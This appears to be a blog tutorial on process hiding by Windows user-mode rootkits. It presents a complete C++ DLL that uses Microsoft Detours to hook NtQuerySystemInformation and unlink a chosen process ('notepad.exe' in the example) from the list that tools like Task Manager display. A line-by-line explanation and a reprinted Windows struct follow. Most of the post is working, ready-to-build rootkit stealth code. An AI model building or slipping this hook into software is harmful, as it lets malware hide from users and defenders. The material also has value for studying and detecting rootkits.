User Mode Rootkits - Process Hiding

If a user mode rootkit with no kernel component wants to hide itself from programs such as Task Manager or Process Explorer, it is possible to do so. Programs such as Task Manager will use the NtQuerySystemInformation API to retrieve a list of current processes.

A rootkit can scan the process list for programs such as Task Manager and make use of DLL injection or similar methods to hook said function. I will be presenting the code to do so, and explain how it works.

I have previously covered DLL injection and API hooking. Some of the data structures are not entirely documented but the developer of Process Hacker has made a lot of them available here.

 1// dllmain.cpp : Defines the entry point for the DLL application.
 2#include "pch.h"
 3
 4#include <cstdio>
 5#include <Windows.h>
 6#include <winternl.h>
 7#include <detours.h>
 8
 9#pragma comment(lib, "ntdll.lib")
10#pragma comment(lib, "detours.lib")
11
12const wchar_t PROCESS_NAME[] = L"notepad.exe";
13
14typedef NTSTATUS(__kernel_entry* NtQuerySystemInformationPtr) (
15	SYSTEM_INFORMATION_CLASS SystemInformationClass,
16	PVOID                    SystemInformation,
17	ULONG                    SystemInformationLength,
18	PULONG                   ReturnLength
19	);
20
21NtQuerySystemInformationPtr TrueNtQuerySystemInformation = nullptr;
22
23NTSTATUS __kernel_entry  NtQuerySystemInformationHook(
24	SYSTEM_INFORMATION_CLASS SystemInformationClass,
25	PVOID                    SystemInformation,
26	ULONG                    SystemInformationLength,
27	PULONG                   ReturnLength
28)
29{
30	const NTSTATUS status = TrueNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
31	if (NT_SUCCESS(status))
32	{
33		if (SystemInformationClass == SystemProcessInformation)
34		{
35			auto current = static_cast<PSYSTEM_PROCESS_INFORMATION>(SystemInformation);
36			auto next = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION>(reinterpret_cast<LPBYTE>(current) + current->NextEntryOffset);
37			while (current->NextEntryOffset)
38			{
39				if (wcscmp(next->ImageName.Buffer, PROCESS_NAME) == 0)
40				{
41					if (next->NextEntryOffset)
42					{
43						current->NextEntryOffset += next->NextEntryOffset;
44					}
45					else
46					{
47						current->NextEntryOffset = 0;
48					}
49					next = current;
50				}
51				current = next;
52				next = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION>(reinterpret_cast<LPBYTE>(current) + current->NextEntryOffset);
53			}
54		}
55	}
56
57	return status;
58}
59
60BOOL WINAPI DllMain(HINSTANCE, DWORD dwReason, LPVOID)
61{
62	if (DetourIsHelperProcess()) {
63		return TRUE;
64	}
65
66	if (dwReason == DLL_PROCESS_ATTACH) {
67		DetourRestoreAfterWith();
68		TrueNtQuerySystemInformation = reinterpret_cast<NtQuerySystemInformationPtr>(GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation"));
69		DetourTransactionBegin();
70		DetourUpdateThread(GetCurrentThread());
71		DetourAttach(&reinterpret_cast<PVOID&>(TrueNtQuerySystemInformation), NtQuerySystemInformationHook);
72		DetourTransactionCommit();
73	}
74	else if (dwReason == DLL_PROCESS_DETACH) {
75		DetourTransactionBegin();
76		DetourUpdateThread(GetCurrentThread());
77		DetourDetach(&reinterpret_cast<PVOID&>(TrueNtQuerySystemInformation), NtQuerySystemInformationHook);
78		DetourTransactionCommit();
79	}
80	return TRUE;
81}

For hooking, I am using Detours from Microsoft. The important part is NtQuerySystemInformationHook. The API can return several data structures, represented as an enum of SYSTEM_INFORMATION_CLASS.

We are only interested in SystemProcessInformation.

We start by calling the original API, and checking if it’s the data structure we are interested in. The list of processes is represented to us as a linked list.

 1while (current->NextEntryOffset)
 2{
 3    if (wcscmp(next->ImageName.Buffer, PROCESS_NAME) == 0)
 4    {
 5        if (next->NextEntryOffset)
 6        {
 7            current->NextEntryOffset += next->NextEntryOffset;
 8        }
 9        else
10        {
11            current->NextEntryOffset = 0;
12        }
13        next = current;
14    }
15    current = next;
16    next = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION>(reinterpret_cast<LPBYTE>(current) + current->NextEntryOffset);
17}

We iterate through each member, comparing ImageName of the next element with PROCESS_NAME. If a match exists, we will check whether this is the last element in the list, and if so, we simply set the current element’s NextEntryOffset to 0.

If this is not the last element, we will set the current element’s NextEntryOffset to its current offset, plus the offset of the next element, effectively skipping over it.

Doing this will remove our process (“notepad.exe” in this example) from the process list for the process we inject this DLL into.

The next element is obtained by adding our current element with NextEntryOffset. This is how process hiding can be done for user mode rootkits.

For reference, here is the complete SYSTEM_PROCESS_INFORMATION struct, courtesy of Process Hacker.

 1typedef struct _SYSTEM_PROCESS_INFORMATION
 2{
 3    ULONG NextEntryOffset;
 4    ULONG NumberOfThreads;
 5    LARGE_INTEGER WorkingSetPrivateSize; // since VISTA
 6    ULONG HardFaultCount; // since WIN7
 7    ULONG NumberOfThreadsHighWatermark; // since WIN7
 8    ULONGLONG CycleTime; // since WIN7
 9    LARGE_INTEGER CreateTime;
10    LARGE_INTEGER UserTime;
11    LARGE_INTEGER KernelTime;
12    UNICODE_STRING ImageName;
13    KPRIORITY BasePriority;
14    HANDLE UniqueProcessId;
15    HANDLE InheritedFromUniqueProcessId;
16    ULONG HandleCount;
17    ULONG SessionId;
18    ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation)
19    SIZE_T PeakVirtualSize;
20    SIZE_T VirtualSize;
21    ULONG PageFaultCount;
22    SIZE_T PeakWorkingSetSize;
23    SIZE_T WorkingSetSize;
24    SIZE_T QuotaPeakPagedPoolUsage;
25    SIZE_T QuotaPagedPoolUsage;
26    SIZE_T QuotaPeakNonPagedPoolUsage;
27    SIZE_T QuotaNonPagedPoolUsage;
28    SIZE_T PagefileUsage;
29    SIZE_T PeakPagefileUsage;
30    SIZE_T PrivatePageCount;
31    LARGE_INTEGER ReadOperationCount;
32    LARGE_INTEGER WriteOperationCount;
33    LARGE_INTEGER OtherOperationCount;
34    LARGE_INTEGER ReadTransferCount;
35    LARGE_INTEGER WriteTransferCount;
36    LARGE_INTEGER OtherTransferCount;
37    SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation
38    // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation
39    // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation
40} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
Built with Hugo
Theme Stack designed by Jimmy